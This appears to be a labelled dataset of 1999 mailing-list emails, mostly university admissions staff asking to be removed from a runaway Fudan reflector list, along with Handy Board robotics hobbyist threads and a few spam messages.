anybody@anyplace.com. FREE, In 5 minutes! ",0,1 """Eugenia G. deGouveia"" ",cslist@fudan.edu,"Fri, 27 Aug 1999 10:33:54 -0400",Please remove Brown University from your cs list.,"I've been receiving too many junk mails and this has to stop. It is upsetting me and I need to concentrate to do my work. I have a better things to do than read these ridiculous messages. thanks!!!! ________________ Email Forwarding Service Brought To You By: http://www.bn3.com. We can let you become anybody@anyplace.com. FREE, In 5 minutes! ",0,1 Debbie Wales ,cslist@fudan.edu,"Fri, 27 Aug 1999 09:35:50 -0500",Re: Application Form Request,"Please REMOVE this address from your list!! At 04:01 PM 8/26/1999 -0500, Michael Faiman wrote: >Please REMOVE my name from your list. > >Michael Faiman >Professor Emeritus >Department of Computer Science >University of Illinois >Urbana-Champaign > >---------------------------------------------------- > >>From gradadm@cats.ucsc.edu Thu Aug 26 15:58 CDT 1999 >Received: from dcs-server1.cs.uiuc.edu (dcs-dept-server1.cs.uiuc.edu [128.174.252.132]) > by sal.cs.uiuc.edu (8.9.3/8.9.3) with ESMTP id PAA16540 > for ; Thu, 26 Aug 1999 15:58:25 -0500 (CDT) >Received: from relay1.cso.uiuc.edu (relay1.cso.uiuc.edu [128.174.5.119]) > by dcs-server1.cs.uiuc.edu (8.9.3/8.9.3) with ESMTP id PAA00456 > for ; Thu, 26 Aug 1999 15:58:19 -0500 (CDT) >Received: from mailgw.bn3.com ([216.101.25.190]) > by relay1.cso.uiuc.edu (8.9.3/8.9.3) with SMTP id PAA13799 > for ; Thu, 26 Aug 1999 15:58:18 -0500 (CDT) >Received: (qmail 3743 invoked by uid 508); 26 Aug 1999 20:56:27 -0000 >Received: (qmail 3741 invoked from network); 26 Aug 1999 20:56:27 -0000 >Received: from rumpleteazer.ucsc.edu (HELO cats.ucsc.edu) (128.114.129.45) > by softdnserror with SMTP; 26 Aug 1999 20:56:26 -0000 >Received: from [128.114.10.169] (dhcp-10-43.UCSC.EDU [128.114.10.169]) > by cats.ucsc.edu (8.9.3/8.8.4.cats-athena) with ESMTP > id NAA04641 for ; Thu, 26 Aug 1999 13:57:31 -0700 (PDT) >Delivered-To: m7-cslist@fudan.edu >Message-Id: >In-Reply-To: <199908261253.IAA09162@castor.cse.Buffalo.EDU> >Mime-Version: 1.0 >Date: Thu, 26 Aug 1999 13:59:46 -0700 >To: cslist@fudan.edu >From: Graduate Admissions >Subject: Re: Application Form Request >Content-Type: text/plain; charset=""us-ascii"" >Content-Length: 2203 >Status: R > >Dear Prospective Applicant: > >Thank you for your inquiry about graduate study at the >University of California, Santa Cruz. Please be advised that >UCSC greatly values the participation of scholars from diverse >nations and cultures in our various graduate programs, and we >therefore actively solicit applications for admission from >foreign applicants. Unfortunately, recent fiscal problems in >the University of California have made it very difficult for us >to offer much financial support to foreign applicants. (Departments may >recommend offers of available financial support based on merit.) It is >strongly recommended that international applicants seek scholarship support >from their own government. > >***To receive complete program information and a formal >application for admission, please write to us at UC Santa >Cruz, Division of Graduate Studies, 1156 High Street, >Santa Cruz, CA 95064. Indicate the program to which you will >apply, and include an $8.50 (U.S.) money order payable to >UC Regents. Applications and program information will not >be mailed until we have received the $8.50 money order. > >You may obtain information on our graduate programs, general >application information and the links to complete an on-line >application or download an application at: > > http://graddiv-19.ucsc.edu/GradStudies/index.html > >Graduate Admissions prefers to receive applications for Fall 2000 after >September 1st, 1999. Because it normally takes much longer to process >international applications, you should submit your application well before >the program's deadline. > >Information for prospective students from other countries: >http://www.admissions.ucsc.edu/ucpubs/ips-top.html > >Sincerely, >Katelyn Haynes >Graduate Admissions >UC Santa Cruz > >>Please send you request to cse-gradinfo@cse.buffalo.edu >> >> >>________________ >>Email Forwarding Service Brought To You By: http://www.bn3.com. >>We can let you become anybody@anyplace.com. FREE, In 5 minutes! > > >Sincerely, >Katelyn Haynes >Graduate Admissions >1156 High St. >Santa Cruz, CA 95064 >(831) 459-5905 > > > > >________________ >Email Forwarding Service Brought To You By: http://www.bn3.com. >We can let you become anybody@anyplace.com. FREE, In 5 minutes! > > > > > > >________________ > >Email Forwarding Service Brought To You By: http://www.bn3.com. > >We can let you become anybody@anyplace.com. FREE, In 5 minutes! > > ________________ Email Forwarding Service Brought To You By: http://www.bn3.com. We can let you become anybody@anyplace.com. FREE, In 5 minutes!",0,1 Christine Coonrad ,cslist@fudan.edu,"Fri, 27 Aug 1999 10:37:45 -0400",CS Lists,">From loretta@cs.virginia.edu Fri Aug 27 09:15:28 1999 Delivered-To: m7-cslist@fudan.edu Date: Fri, 27 Aug 1999 09:09:05 -0400 From: Loretta A Willis X-Accept-Language: en MIME-Version: 1.0 To: cslist@fudan.edu Subject: CS Lists Content-Transfer-Encoding: 7bit PLEASE REMOVE THE UNIVERSITY OF VIRGINIA FROM YOUR MAILING LISTS. ________________ Email Forwarding Service Brought To You By: http://www.bn3.com. We can let you become anybody@anyplace.com. FREE, In 5 minutes! ________________ Email Forwarding Service Brought To You By: http://www.bn3.com. We can let you become anybody@anyplace.com. FREE, In 5 minutes!",0,1 Debbie Wales ,cslist@fudan.edu,"Fri, 27 Aug 1999 09:37:49 -0500",Re: Junk email,"Please REMOVE this address from your list!!!! ________________ Email Forwarding Service Brought To You By: http://www.bn3.com. We can let you become anybody@anyplace.com. FREE, In 5 minutes! ",0,1 Barb Parker ,cslist@fudan.edu,"Fri, 27 Aug 1999 10:44:50 +0000",CS Lists," PLEASE REMOVE CLARKSON UNIVERSITY FROM YOUR MAILING LISTS. Barb Parker Assistant to the Vice President for Academic Affairs Clarkson University Box 5505 Potsdam, NY 13699-5505 (315) 268-6445/fax (315) 268-2308 bparker@clarkson.edu ________________ Email Forwarding Service Brought To You By: http://www.bn3.com. We can let you become anybody@anyplace.com. FREE, In 5 minutes! ",0,1 """Francis M. Wells, P.E."" ","cait@vax.cs.hscsyr.edu, cslist@fudan.edu","Fri, 27 Aug 1999 09:44:30 -0500",FUDAN VIRUS,"Your damn mailing list ""cslist@fudan.edu"" is cluttering up the mail system at every CS department in the US. Any student using this list will be rejected for the following reasons: 1. The student has done nothing to determine the quality of education at any university on the list. 2. The student is unethical in that he/she is wasting the time of hundreds of people while knowing that there is little chance that any offer of admission will be accepted, since only one of hundreds can be accepted. 3. The prospective student is too stupid to parse a list so that every recipient doesn't receive the responses from every other recipient. Delete this list now. Francis. M. Wells Box 6172 Station B Vanderbilt University Nashville, TN 37235 (615) 322-2771 ________________ Email Forwarding Service Brought To You By: http://www.bn3.com. We can let you become anybody@anyplace.com. FREE, In 5 minutes! ",0,1 Bert Celera ,Mike Westall ,"Fri, 27 Aug 1999 11:18:26 -0400",Re: (Hopefully) the LAST msg to fudan.edu,"Thanks for the info. Respectfully yours, Bert Celera ------------------------------------------------------------------------- Bertito Celera Admissions Assistant The Graduate School Stevens Institute of Technology Castle Point on Hudson Phone: (201)216-5237 Hoboken, NJ 07030 Fax: (201)216-8044 United States of America Email: bcelera@stevens-tech.edu ",0,0 ECE Graduate Program ,cslist@fudan.edu,"Fri, 27 Aug 1999 10:45:01 -0400",REMOVE Clemson University,"PLEASE REMOVE Clemson University from your mailing lists. ________________ Email Forwarding Service Brought To You By: http://www.bn3.com. We can let you become anybody@anyplace.com. FREE, In 5 minutes! ",0,1 Santhi Nannapaneni ,cslist@fudan.edu,"Fri, 27 Aug 1999 09:59:25 -0500",Re: List,"Remove University of Illinois at Chicago from you list. At 09:33 AM 8/27/99 -0400, you wrote: >Please remove my name from this list. > >kathy kreh > > > >>Delivered-To: m7-cslist@fudan.edu >>X-Lotus-FromDomain: SUNYSB >>From: ""Ann Carvalho"" >>To: cslist@fudan.edu >>Date: Fri, 27 Aug 1999 08:51:52 -0400 >>Subject: List >> >> >> >>Please remove my name from your list serve. >> >> >> >> >>________________ >>Email Forwarding Service Brought To You By: http://www.bn3.com. >>We can let you become anybody@anyplace.com. FREE, In 5 minutes! >> > > >________________ >Email Forwarding Service Brought To You By: http://www.bn3.com. >We can let you become anybody@anyplace.com. FREE, In 5 minutes! > Santhi Nannapaneni Graduate Coordinator Dept. of Electrical Engineering & Computer Science Room 1120 SEO, M/C 154 Univ. of Illinois at Chicago Chicago, IL 60607-7053 E-mail: santhi@eecs.uic.edu Phone: (312) 996-2290 Dept. Web: http://www.eecs.uic.edu Fax: (312) 413-0024 ________________ Email Forwarding Service Brought To You By: http://www.bn3.com. We can let you become anybody@anyplace.com. FREE, In 5 minutes!",0,1 Jaime Huffman ,cslist@fudan.edu,"Fri, 27 Aug 1999 10:58:05 -0400",Remove,"Please remove me from this list. Also STOP Blind Coping me to EVERY removal request sent to cslist@fudan.edu. Ms. Jaime Huffman Coordinator, International Admissions University of South Carolina Columbia, SC 29208 Phone (803) 777-1875 Fax (803) 777-2972 Jaime@sc.edu web address: www.gradschool.sc.edu ________________ Email Forwarding Service Brought To You By: http://www.bn3.com. We can let you become anybody@anyplace.com. FREE, In 5 minutes! ",0,1 """Dresser, Deb"" ","""'root@fudan.edu'"" ","Fri, 27 Aug 1999 11:01:52 -0400",Remove this address from your list,"Why are people STILL sending email to cslist@fudan.? Do you realize that all this does is send your request to be off the mail list to EVERYONE else on the mail list? After receiving more than 50 email messages in less than two days (TRUTHFULLY!), from people voicing their opinion and indicating they want to be removed from this mail list, I seem to think that we are not getting anywhere in stopping this ridiculously time wasting, vicious circle. I did read an email from an individual that stated you should not send to cslist@fudan because it is the distribution list and it will therefore get sent out once again to each email address on the list (here we go again). You should therefore SEND YOUR REQUESTS to root@fudan.edu. EITHER WAY - I WOULD LIKE THIS ADDRESS REMOVED FROM YOUR LIST!!!! Worcester Polytechnic Insitute Graduate Admissions 100 Institute Road Worcester, MA 01609 gao@wpi.edu ________________ Email Forwarding Service Brought To You By: http://www.bn3.com. We can let you become anybody@anyplace.com. FREE, In 5 minutes! ",0,1 towlson@snail.ecs.umass.edu,cslist@fudan.edu,"Fri, 27 Aug 1999 11:14:51 -0400",Remove from list,"Please remove the University of Massachusetts, Amherst from your list. Thanks ________________ Email Forwarding Service Brought To You By: http://www.bn3.com. We can let you become anybody@anyplace.com. FREE, In 5 minutes! ",0,1 """S. B. Johnson"" ",Mike Westall ,"Fri, 27 Aug 1999 10:36:20 -0500",Re: cslist@fudan.edu,"Hi Mike, I'm glad we're on a first name basis, 'cause your previous e-mail did tick me off just a little bit. Actually I did get a number of messages addressed only to me thanking me for my original message. A number of people said they were inadvertently doing a REPLY TO ALL. Others somehow thought that responding to the cslist address would send it to the originator. I am filtering all my messages addressed to cslist@fudan.edu directly to my trash bin, but I've been unable to filter out those for which that infamous address in not the only address. Both Netscape Messenger and Pegasus ""act"" like they can do that, but neither of them will. Any ideas. Sharon J Mike Westall wrote: > Unfortunately, judging from the most recent cascade, > I think a good number of administrative > assistants who do not understand the nature of the > underlying problem may have misunderstood you! > > Mike ",0,0 Sean Verret ,Jonathan Pennington ,"Fri, 27 Aug 1999 08:38:37 -0700",Re: Code site/kids project help,"Check this link out. http://www.ee.ualberta.ca/~discover/ it's a site all about the discover engineering kids camp put on by the University of Alberta. Jonathan Pennington wrote: > > IC code site: > Over 150 hits in less than ten days! I'm assuming that all that traffic > stems from the link to Fred Martin's main Handy Board page. (I hope I'm > not disappointing a lot of people by not having too much available yet). > I contacted the writer of the IR remote routines for permission to post > them, and hunted down a few more sources on IR control. Hopefully a > couple of days will bring IR remote code. I've also posted Jaron > Paludanus' shaft encoder tip (the first tip). > > Kids Project Help: > I'm organizing a middle school robotics project. The Idea/proposal > webpage is at > http://stu.cofc.edu/~jwpennin/robot/index.html > but the short and skinny is that the kids form different teams (not all > computer or science based) and work together to plan a robotics mission. > Has anybody here done anything like this before? I'd like some input > from experience. It started as just an idea to get college students into > the grade schools to play with/teach kids about science, but somehow I > got funding and interest, and now could use some advice. > -- > ___________________________________________________________________________ > Jonathan Pennington | -Wannabe Geologist/Anthropologist > Charleston, SC | -Linux User and Advocate > Email at jwp(at)awod.com | 83 V45 Magna ""The Lighter Side"" > root@localhost (Spambot food) | 71 Triumph TR6C ""Mistake"" > ---------------------------------------------------------------------------- -- -------------------------------------------------------------- Sean Verret Design Services PMC-Sierra ext 2527 -------------------------------------------------------------- ""Only quitters.........quit!"" - Red Forman -------------------------------------------------------------- Eagles may soar, but weasels don't get sucked into jet engines -------------------------------------------------------------- ",0,1 Evelyn Dennis ,cslist@fudan.edu,"Fri, 27 Aug 1999 08:28:28 -0700",Removal,"Please remove me from your list. Together we can R.I.S.E. (Rebuild, Inspire, Support, Educate) Evelyn Dennis Graduate Program Liaison Engineering, Mathematics & Physical Sciences University of California Davis 250 Mrak Hall One Shields Avenue Davis, CA 95616-8610 Telephone: (530) 752-1473 Fax: (530) 752-6222 E-Mail: efdennis@ucdavis.edu ________________ Email Forwarding Service Brought To You By: http://www.bn3.com. We can let you become anybody@anyplace.com. FREE, In 5 minutes! ",0,1 Myrna Fox ,cslist@fudan.edu,"Fri, 27 Aug 1999 10:32:49 -0500",remove me,"Please remove Brandeis University from your list ________________ Email Forwarding Service Brought To You By: http://www.bn3.com. We can let you become anybody@anyplace.com. FREE, In 5 minutes! ",0,1 Jeannette Oconnell ,Jacob ,,re[21]:," LUXURY WATCHES - BUY YOUR OWN ROLEX FOR ONLY $219! Rolex :: Cartier :: Bvlgari :: Frank Muller :: Patek Philippe :: Vacheron Constantin A. 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Rhonda Zenner CS Dept U of Idaho -----Original Message----- From: Mike Westall To: cslist@fudan.edu ; rutgers@ces.clemson.edu Date: Thursday, August 26, 1999 7:12 PM Subject: (Hopefully) the LAST msg to fudan.edu > >I have tried to avoid contributing to this problem but it now >looks like it will go on forever if I don't inject one more >message. > >The solution is NEVER SEND ANYTHING TO CSLIST@FUDAN.EDU > >If you are interested in the ""why"" continue to read the message >I sent earlier. > >I plan to send Mr. Gao a message that he and any other students >who use this time-wasting spam attack that he can forget about >receiving materials from Clemson. > >>I have gotten two of these today. One from SUNY Buffalo and one >>from UCSC. (I also got an ""original"" from China) >> >>As near as I can tell here is what is happening: >>Fudan has a mail distributer that Mr. Gao sends a message to >>and the distributer sends the message to EVERY CS grad program >>in the good ole USofA (maybe multiple messages!) >> >>Now if Ms. X at SUNY or Ms. Y at UCSC or Dr. Westall >>at Clemson inadvertently >>sends their canned responses to cslist@fudan.edu rather than >>gyqin@fundan.edu... then their reply is reflected back to everybody >>on the original list and to make matters worse, Mr. Gao never >>sees it and so he may try again! > >> >>I don't think we will EVER stop this Chinese spam and so it would >>appear that any of us who respond should be REALLY careful not to >>respond to what looks like a list! >> >>Mike Westall >>Professor of Computer Science and >>Director of Graduate Affairs >>Dept. of Computer Science >>Clemson University >> >> >>>Delivered-To: m7-cslist@fudan.edu >>>Date: 25 Aug 1999 03:13:15 -0000 >>>From: Gao Yongqin >>>To: cslist@fudan.edu >>>Subject: Application Form Request >>> >>>To Who It May Concern, >>> >>>I am an applicant for the Ph. D. program of Computer Science of your >>>esteemed University with financial aid in Fall'2000. And now I am graduate >>>student of Fudan University,P.R. China.Can you do me a favor to send >>>the application form to the address below. > >MW > > >________________ >Email Forwarding Service Brought To You By: http://www.bn3.com. >We can let you become anybody@anyplace.com. FREE, In 5 minutes! > >",0,1 Angi Smith ,cslist@fudan.edu,"Fri, 27 Aug 1999 11:25:39 -0700",STOP!," Please realize that when you respond, you are only sending to the individuals on the list!!! You are not getting through to the actual culprit!! As many of you, I am very busy and do not need anymore messages than I already receive. It wastes my time and yours to have to delete all of these messages. Thank you Angi Smith, Administrative Assistant to the Dean 150 Stocker Center Russ College of Engineering & Technology Ohio University Athens, OH 45701 Phone: 740-593-1480 Fax: 740-593-0659 ",0,0 Jeanne DeBaie ,cslist@fudan.edu,"Fri, 27 Aug 1999 11:42:22 -0400",remove from list,"Please remove Brandeis University from your graduate school mailing list. maf@cs.brandeis.edu thank you ________________ Email Forwarding Service Brought To You By: http://www.bn3.com. We can let you become anybody@anyplace.com. FREE, In 5 minutes! ",0,1 Derek Lile ,"""Francis M. Wells, P.E."" ","Fri, 27 Aug 1999 09:41:55 -0600",Re: FUDAN VIRUS,"I hesitated before sending one more message to everyone in the world but, just to let you know, computer engineering departments and perhaps EE departments are receiving this stuff as well. Derek Lile ""Francis M. Wells, P.E."" wrote: > > Your damn mailing list ""cslist@fudan.edu"" is cluttering up the mail system > at every CS department in the US. Any student using this list will be > rejected for the following reasons: > > 1. The student has done nothing to determine the quality of education at > any university on the list. > > 2. The student is unethical in that he/she is wasting the time of hundreds > of people while knowing that there is little chance that any offer of > admission will be accepted, since only one of hundreds can be accepted. > > 3. The prospective student is too stupid to parse a list so that every > recipient doesn't receive the responses from every other recipient. > > Delete this list now. > Francis. M. Wells > Box 6172 Station B > Vanderbilt University > Nashville, TN 37235 > (615) 322-2771 > > ________________ > Email Forwarding Service Brought To You By: http://www.bn3.com. > We can let you become anybody@anyplace.com. FREE, In 5 minutes! -- Derek L. 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Nick, there's not much there yet, but I'm working on it. http://stu.cofc.edu/~jwpennin/IC/index.html -- ___________________________________________________________________________ Jonathan Pennington | -Wannabe Geologist/Anthropologist Charleston, SC | -Linux User and Advocate Email at jwp(at)awod.com | 83 V45 Magna ""The Lighter Side"" root@localhost (Spambot food) | 71 Triumph TR6C ""Mistake"" ---------------------------------------------------------------------------- ",0,1 Admissions ,'Mike Westall' ,"Fri, 27 Aug 1999 16:07:50 -0400",RE: (Hopefully) the LAST msg to fudan.edu,"Thank you for your e-mail. Over the past year, we have received an average of 3,500 messages per month via this e-mail address. As you can imagine, providing quick and accurate replies has become a challenge. In order to respond more quickly, we have implemented our Seminole Online Service (SOS): ""We're here to help!"" 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SOS WEBSITE INFO If you haven't already done so, you should visit the website for the FSU Office of Admissions at . This site contains *more information than all of our traditional printed publications combined.* You should bookmark this address for easy future access to our online application for undergraduates, the Undergraduate Bulletin (catalog), admissions information, and links to other FSU information including the main FSU homepage, departmental homepages (found under academic majors), and e-mail contacts. Sometimes it is hard to locate the information you want on websites; we can help you by sending you an index of the FSU Admissions Website via the auto-reply options listed below. SOS QUERY The FSU Admissions staff hopes that these options will allow you to have the quickest possible access to the information you need to make FSU your school of choice. We know that these options do not cover all of the possibilities, though. If you should need assistance with any topic not addressed in this message or on the FSU Admissions Website at , please submit an e-mail message with the topic keyword of QUERY to this e-mail address (). We feel that customer service is our main priority. We will do all that we can to help you make an informed decision about attending FSU. Information about the Admissions Staff can be obtained by submitting the title/subject of STAFF to the Admissions e-mail address. Thank you for your cooperation in helping us assist you as quickly as possible. -----Original Message----- From: Mike Westall [mailto:westall@cs.clemson.edu] Sent: Thursday, August 26, 1999 10:12 PM To: cslist@fudan.edu; rutgers@ces.clemson.edu Subject: (Hopefully) the LAST msg to fudan.edu I have tried to avoid contributing to this problem but it now looks like it will go on forever if I don't inject one more message. The solution is NEVER SEND ANYTHING TO CSLIST@FUDAN.EDU If you are interested in the ""why"" continue to read the message I sent earlier. I plan to send Mr. Gao a message that he and any other students who use this time-wasting spam attack that he can forget about receiving materials from Clemson. >I have gotten two of these today. One from SUNY Buffalo and one >from UCSC. (I also got an ""original"" from China) > >As near as I can tell here is what is happening: >Fudan has a mail distributer that Mr. Gao sends a message to >and the distributer sends the message to EVERY CS grad program >in the good ole USofA (maybe multiple messages!) > >Now if Ms. X at SUNY or Ms. Y at UCSC or Dr. Westall >at Clemson inadvertently >sends their canned responses to cslist@fudan.edu rather than >gyqin@fundan.edu... then their reply is reflected back to everybody >on the original list and to make matters worse, Mr. Gao never >sees it and so he may try again! > >I don't think we will EVER stop this Chinese spam and so it would >appear that any of us who respond should be REALLY careful not to >respond to what looks like a list! > >Mike Westall >Professor of Computer Science and >Director of Graduate Affairs >Dept. of Computer Science >Clemson University > > >>Delivered-To: m7-cslist@fudan.edu >>Date: 25 Aug 1999 03:13:15 -0000 >>From: Gao Yongqin >>To: cslist@fudan.edu >>Subject: Application Form Request >> >>To Who It May Concern, >> >>I am an applicant for the Ph. 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Thank You Jose Luis ----- Original Message ----- From: Eric Noyau To: Paul DaCosta Cc: Sent: Thursday, August 26, 1999 3:40 PM Subject: Re: REMOTE CONTROL > > STOP SHOUTING, WE CAN HEAR YOU ;^). > > I had good success using the routines available here: http://www.cam.org/~mdavies/HB/ir.htm. These works just fine, you use the test program to get the values and voila, any remote control I tried just worked. > > The only problem I have is the receiver: it's not omnidirectional, and the angle of reception is not that big. You have to be on the right side of your robot to control it, and as soon as it turn you lose contact. > > In my experience remote control is useful for switching algorithms, but not to teleoperate the robot. Let the robot be autonomous but listen to the remote for absolute orders (like ""STOP NOW"", ""U-TURN"", ""Sing"" or ""Follow the wall"", ""Find the light""...). > > If you really want remote operation you should investigate radio communication. The line of sight for a remote is not good enough. > > -- Eric > > At 08:29 AM 8/26/99 , Paul DaCosta wrote: > >SOME ONE CORRECT ME IF I'M WRONG, CAN I OPERATE THE HANDY BOARD WITH A > >REMOTE CONTROL AS WELL AS AUTONOMOUSLY. IF SO WHERE CAN I GET MORE > >INFO??? > > > >THANKS! >",0,1 Nick Taylor ,handyboard@media.mit.edu,"Fri, 27 Aug 1999 21:28:15 -0700",Re: exp. board analogs,"Hello José Luis, I tried your test code and had the same results. Next I connected the analog ports to the wiper of a 10k pot going from ground to +5V. The readings were stable on ports 16-23, but 24-27 jumped between the appropriate reading and 255. This was done on an older HB and exp-board. I next tried it on my HB and exp-board that arrived just today from Gleason Research and had exactly the same results. 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Best Regards, Amy Cole Senior Manager Research and Markets Ltd amy.cole@researchandmarkets.com Subscribe: Click on http://www.researchandmarkets.com/register.asp You can subscribe free for regular details on new research in your sector. Please note you are currently subscribed as handyboard@media.mit.edu If you no longer wish to receive our market research updates, please reply to this message with Suppression Request as the subject line, or use the link below http://www.researchandmarkets.com/unsubscribe.asp?functionx=unsubscribe&email=alta@media.mit.edu ",1,1 """Fred G. Martin"" ",handyboard@media.mit.edu,"Sat, 28 Aug 1999 08:58:23 -0400",opportunity to join handyboard with LUGNET,"Dear all, I've been in communication with Todd Lehman, who created and runs the LUGNET LEGO Users Group Network web site (http://www.lugnet.com/), about the possibility of hosting the handyboard@media mailing list on his site. We think this could be a great idea because of the burgeoning robotics community on LUGNET, sparked by the recent release of the LEGO RCX Brick. As many of us Handy Board users use LEGO, there is likely to be a fair bit of overlap of interests between the two communities. In practice, hosting handyboard@media on LUGNET would mean that there would be a threaded web interface to reading traffic in addition to the regular mailing list. Messages sent to the list would show up on a robotics/handy-board/ group on the LUGNET site, and messages originated on the web site would be transmitted to the list as emails. Thus, everyone would have the choice of either continuing to use email to receive the handyboard traffic, or browsing the web site to do so. We would get better email features like digest form and automated list addition/removal; plus, our traffic would be threaded, browsable, and archived on LUGNET. Why don't people check out the LUGNET site, http://www.lugnet.com/, and see what you think about this. I'm interested to hear if people think it would be beneficial to the Handy Board community to join up with LUGNET. Yours, Fred ",0,1 Nick Taylor ,handyboard@media.mit.edu,"Sat, 28 Aug 1999 07:24:39 -0700",Problems with analog ports 24-27,"Hello José Luis, It looks as though we must sacrifice analog ports 24-27 to be able to use the LEGO inputs. I frequently use the LEGO ports, but have never needed to use analog 24-27, so it's an easy choice for me. Maybe someone in the group has a fix for this. Have fun, - Nick - Jose Luis wrote: > > Hi Nick, > > Thank You for your help, I have unloaded the explego.icb and no more > problems. Now I will continue to see if I can put at work the LM35 temp > sensor, is supposed that it must work on the Exp-Board analogs, but I have > not luck yet , I have the same results that in the HB analogs. Thank You > Again. > > José Luis > > ----- Original Message ----- > From: Nick Taylor > To: > Cc: > Sent: Saturday, August 28, 1999 4:12 AM > Subject: Re: exp. board analogs > > > Hi José Luis, > > > > I put the 'scope on the problem ... and here's what I found: > > > > Analogs 24-27 have a 1ms pulse at 250Hz which is a feedthrough from > > the LEGO ports which share the same analog line on the HandyBoard. > > > > There is also an erratic 1ms or less pulse which appears only on > > the 24-27 ports that are being sampled by the software. It is > > when these pulses appear that the analog reading goes to 255. > > > > The LEGO ports operate properly and don't seem to be affected > > by the stray sampling pulses. > > > > When explego.icb is unloaded the instability goes away. > > > > I think we need Dr. Martin's help on this. > > > > - Nick - > > > > Nick Taylor wrote: > > > > > > Hello José Luis, > > > > > > I tried your test code and had the same results. Next I connected > > > the analog ports to the wiper of a 10k pot going from ground to +5V. > > > The readings were stable on ports 16-23, but 24-27 jumped between > > > the appropriate reading and 255. This was done on an older HB and > > > exp-board. I next tried it on my HB and exp-board that arrived just > > > today from Gleason Research and had exactly the same results. At > > > this point I haven't done any further testing ... but will in the > > > morning. > > > > > > - Nick - > > > > > > Jose Luis wrote: > > > > > > > > I am having some problems reading Exp-Board analog port, ports 16 to > 23 > > > > seems OK, but ports 24 to 27 (I have not tested the lego ports yet) > give me > > > > variable readings, to make a probe i have used this simple code: > > > > > > > > void main(void) > > > > { > > > > while(1){ > > > > printf(""\\n20: %d 24: %d"",analog(20),analog(24)); > > > > sleep(0.4); > > > > } > > > > } > > > > > > > > and i have a static reading of 252 for port 20, and for the port 24 I > have a > > > > variable reading, going from 251 to 255. > > > > > > > > Someone can help?. > > > > > > > > Thank You > > > > > > > > José Luis",0,0 Jacob_Levirne@trilogy.com,handyboard@media.mit.edu,"Sat, 28 Aug 1999 12:33:49 -0500",Error at address 0x0000,"Hello, I've made it up to step 6.0.5 of assembling my first handyboard. I purchased the unassembled components from Patrick Hui, so there may be 1 or 2 substitutes, but everything's gone smoothly so far. All previous assembly and testing steps have been completed successfully. When I power the board on, the 16 blocks appear on the LCD. They aren't faint though, they're pretty dark. The yellow charge LED flashes continuously. I power on while holding Stop to get into bootstrap mode. The 16 dark blocks appear on the LCD, and the charge LED doesn't flash. I run HBDL and choose to download pcode_hb.s19. The monitor downloads successfully, but as soon as the code begins to download I get the following message from HBDL: ""Error at address 0x000"" I looked at the mailing list archive, and realized I had a different version of pcode_hb.s19 (that I got with the commercial version of IC from Newton Labs), so I downloaded pcode_hb.s19 from the HandyBoard web site. I still get the same problem. So far, here's what I've done: Rechecked pin 28 of the memory chip to make sure it is getting 5v. Unplugged the memory chip and powered on-- the yellow charge LED doesn't flash anymore Checked the voltages on other pins of the memory chip-- most are at 2.6v (not sure if this is good) Checked my solders and everything looks ok to the naked eye. No components feel hot when the board is powered on. Any help would be greatly appreciated. -Jake ",0,0 Christopher Prosser ,handyboard@media.mit.edu,"Sat, 28 Aug 1999 10:45:52 -0700",Re: opportunity to join handyboard with LUGNET,"I think it would be a good thing. The additional list features would be welcome. My only concern is the terms of service. The sublicensing part gets pretty signifigant . 7. By posting messages, uploading files, inputting data, or engaging in any other form of communication through this service, you are granting LUGNET and its owners a perpetual, irrevocable, royalty- free, unrestricted, non-exclusive, worldwide license to: i. Use, copy, publish, sublicense, adapt, transmit, archive, restore, publicly perform, or display any such communication in any medium, and to ii. Sublicense to third parties the unrestricted right to exercise any or all of the foregoing rights granted with respect to the communication. Because of these restrictions I wouldn't feel comfortable moving the list to a place where I occasionally discuss unique ideas that I want to keep some semblance of ownership of. -chris ----- Original Message ----- From: Fred G. Martin To: Sent: Saturday, August 28, 1999 5:58 AM Subject: opportunity to join handyboard with LUGNET > Dear all, > > I've been in communication with Todd Lehman, who created and runs the > LUGNET LEGO Users Group Network web site (http://www.lugnet.com/), > about the possibility of hosting the handyboard@media mailing list on > his site. > > We think this could be a great idea because of the burgeoning robotics > community on LUGNET, sparked by the recent release of the LEGO RCX > Brick. As many of us Handy Board users use LEGO, there is likely to > be a fair bit of overlap of interests between the two communities. > > In practice, hosting handyboard@media on LUGNET would mean that there > would be a threaded web interface to reading traffic in addition to > the regular mailing list. Messages sent to the list would show up on > a robotics/handy-board/ group on the LUGNET site, and messages > originated on the web site would be transmitted to the list as emails. > > Thus, everyone would have the choice of either continuing to use email > to receive the handyboard traffic, or browsing the web site to do so. > > We would get better email features like digest form and automated list > addition/removal; plus, our traffic would be threaded, browsable, and > archived on LUGNET. > > Why don't people check out the LUGNET site, http://www.lugnet.com/, > and see what you think about this. I'm interested to hear if people > think it would be beneficial to the Handy Board community to join up > with LUGNET. > > Yours, > Fred > >",0,1 Alex Stewart ,handyboard@media.mit.edu,"Sat, 28 Aug 1999 11:20:55 -0700",servo speed problem,"Hi All I recentlly hacked to servo motors for continues rotation, when i loaded the dual servo motor drivers up and turned on the bot it started out going straight for about 0.5 a sec then started vering left I ve tried on difernt surfaces , tried in software to even it out , thers nothing on the frame to make it go left ,( its a talrik junior frame from mekatronix) at looking at the left servo it was going slower, could it be the program im runing is to blame : void main() { servo_a7_init(1); servo_a5_init(1); while(1) { while(digital(5) == 1) { servo_a7_pulse = 7000; servo_a5_pulse = 1000; } while(digital(5) == 0 ) { servo_a7_pulse = 1000; sleep(0.9); servo_a5_pulse = 7000; } } } I know the servo pulses seem like it would make the bot continuesly turn but Mr.Robot (place got hacked servos from) did something werid to one of them , I give it a 7000 to go forward like its brother does and all the other servos i tries and it goes backwords , this is the servo I have running forwad all the time the problem servo is the one thats beeing reversed at a obstacle ,, Could all this be both servo s are fried and i should get more any thax for you help Alex ______________________________________________________ Get Your Private, Free Email at http://www.hotmail.com ",0,1 Todd Lehman ,Christopher Prosser ,"Sat, 28 Aug 1999 15:08:14 -0400",Re: opportunity to join handyboard with LUGNET,"Christopher Prosser wrote: > I think it would be a good thing. The additional list features would be > welcome. My only concern is the terms of service. The sublicensing part gets > pretty signifigant . > > 7. By posting messages, uploading files, inputting data, or engaging > in any other form of communication through this service, you are > granting LUGNET and its owners a perpetual, irrevocable, royalty- > free, unrestricted, non-exclusive, worldwide license to: > > i. Use, copy, publish, sublicense, adapt, transmit, archive, > restore, publicly perform, or display any such communication > in any medium, and to > > ii. Sublicense to third parties the unrestricted right to > exercise any or all of the foregoing rights granted with > respect to the communication. > > Because of these restrictions I wouldn't feel comfortable moving the list > to a place where I occasionally discuss unique ideas that I want to keep > some semblance of ownership of. To clarify point #7: Authors of messages appearing in LUGNET discussion groups do 